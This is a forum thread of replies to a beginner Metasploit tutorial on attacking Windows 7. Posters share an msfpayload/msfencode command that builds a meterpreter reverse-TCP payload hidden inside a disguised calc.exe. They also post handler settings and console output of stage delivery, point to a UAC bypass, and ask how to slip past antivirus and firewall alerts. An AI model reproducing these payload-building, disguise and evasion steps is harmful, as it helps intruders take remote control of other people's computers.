[HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

[OBJBOX35]

Hi guys

Ive been giving this a try ive got

./msfpayload windows/meterpreter/reverse_tcp Lhost=10.0.2.20 lport=4331 r | ./msfencode -c 2 -e x86/shikata_ga_nai -x /root/calc.exe -t exe > /root/calc1.exe

and im getting
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

[-] x86/shikata_ga_nai failed: Offset 0 outside of image source
[-] No encoders succeeded.

have a maybe mistyped something Im missing ?

Thanks

[delonacu]

It used to work for me like a charm especially with the dns payload but now it is not working over the internet and i have no idea why. I have been messing with the java payloads for some days and now i am trying to use windows/meterpreter/reverse_tcp but it will only work i if i give a local ip to the LPORT= options when encoding. My ports are forwarded properly and i use no firewall.
Any suggestions?

[Tamzin]

Thank you for the information.

In order to use this on windows7 you need to specify the payload to be 64x bit.
set PAYLOAD windows/x64/meterpreter/reverse_tcp

Also most of the people will have hard time connecting to Win7 due to UAC priviledges.
Although there is cool script to bypass the uac.
check this site:
http://www.secmaniac.com/december-20...s-windows-uac/

That's really handy thanks for posting this! LOVE the tune too on that tutorial hehe, it's Infected Mushroom - Shakawkaw.

[SP34k1980]

I am new to metasploit. I am attacking my windows 7 laptop. I have tried many different exploits. All seem to do the same. The file is uploaded to my laptop. But metasploit does not go to the next step. What should I do differently?

msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/meterpreter/reverse_ipv6_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, none, process
LHOST 192.168.1.3 yes The listen address
LPORT 7856 yes The listen port
SCOPEID 0 no The IPv6 Scope ID, required for link-layer addresses


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.1.3:7856[*] Starting the payload handler...[*] Transmitting intermediate stager for over-sized stage...(216 bytes)[*] Sending stage (749056 bytes) to 192.168.1.2

Thanks

[sostentado]

Really appreciate the effort...

[ehloworld]

Excellent job.

I used this exploit on a few windows os, windows 7 with patch and windows xp sp1. works perfect with anti-virus disabled and if i allow *****.exe through zonealarm.

What i need to find out is;
If there's a way not to trigger an alarm by AV.
or even Zone Alarm, which i know is a long stretch.

[enc0de]

Great post how long did it take you??